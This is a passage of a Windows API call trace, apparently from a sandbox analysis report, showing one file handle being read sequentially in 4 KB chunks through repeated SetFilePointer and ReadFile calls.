lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.563] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x7000 [0172.563] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.564] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x8000 [0172.564] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.565] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x9000 [0172.565] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.566] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0xa000 [0172.566] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.566] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0xb000 [0172.566] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.567] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0xc000 [0172.568] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.568] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0xd000 [0172.568] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.569] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0xe000 [0172.570] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.570] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0xf000 [0172.570] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.571] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x10000 [0172.571] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.571] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x11000 [0172.571] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.572] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x12000 [0172.572] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.572] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x13000 [0172.573] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.573] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x14000 [0172.573] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.574] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x15000 [0172.574] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.576] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x16000 [0172.576] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.576] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x17000 [0172.576] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.577] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x18000 [0172.577] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.578] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x19000 [0172.578] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.579] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x1a000 [0172.579] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.580] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x1b000 [0172.580] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.581] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x1c000 [0172.581] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.581] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x1d000 [0172.581] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.661] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x1e000 [0172.662] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.662] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x1f000 [0172.662] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.663] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x20000 [0172.663] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.663] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x21000 [0172.664] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.664] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x22000 [0172.665] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.665] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x23000 [0172.665] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.666] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x24000 [0172.666] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.667] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x25000 [0172.667] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.668] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x26000 [0172.668] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.669] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x27000 [0172.669] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.781] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x28000 [0177.781] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.781] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x29000 [0177.781] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.782] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x2a000 [0177.782] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.782] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x2b000 [0177.782] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.782] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x2c000 [0177.782] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.783] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x2d000 [0177.783] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.783] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x2e000 [0177.783] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.784] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x2f000 [0177.784] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.784] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x30000 [0177.784] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.784] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x31000 [0177.784] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.784] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x32000 [0177.785] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.785] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x33000 [0177.785] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.785] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x34000 [0177.785] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.786] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x35000 [0177.786] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.786] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x36000 [0177.786] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.786] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x37000 [0177.786] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.787] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x38000 [0177.787] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.787] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x39000 [0177.787] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.787] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x3a000 [0177.787] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.788] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x3b000 [0177.788] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.788] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x3c000 [0177.788] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.788] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x3d000 [0177.788] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.789] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x3e000 [0177.789] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.789] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x3f000 [0177.789] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.789] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x40000 [0177.789] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.790] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x41000 [0177.790] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, 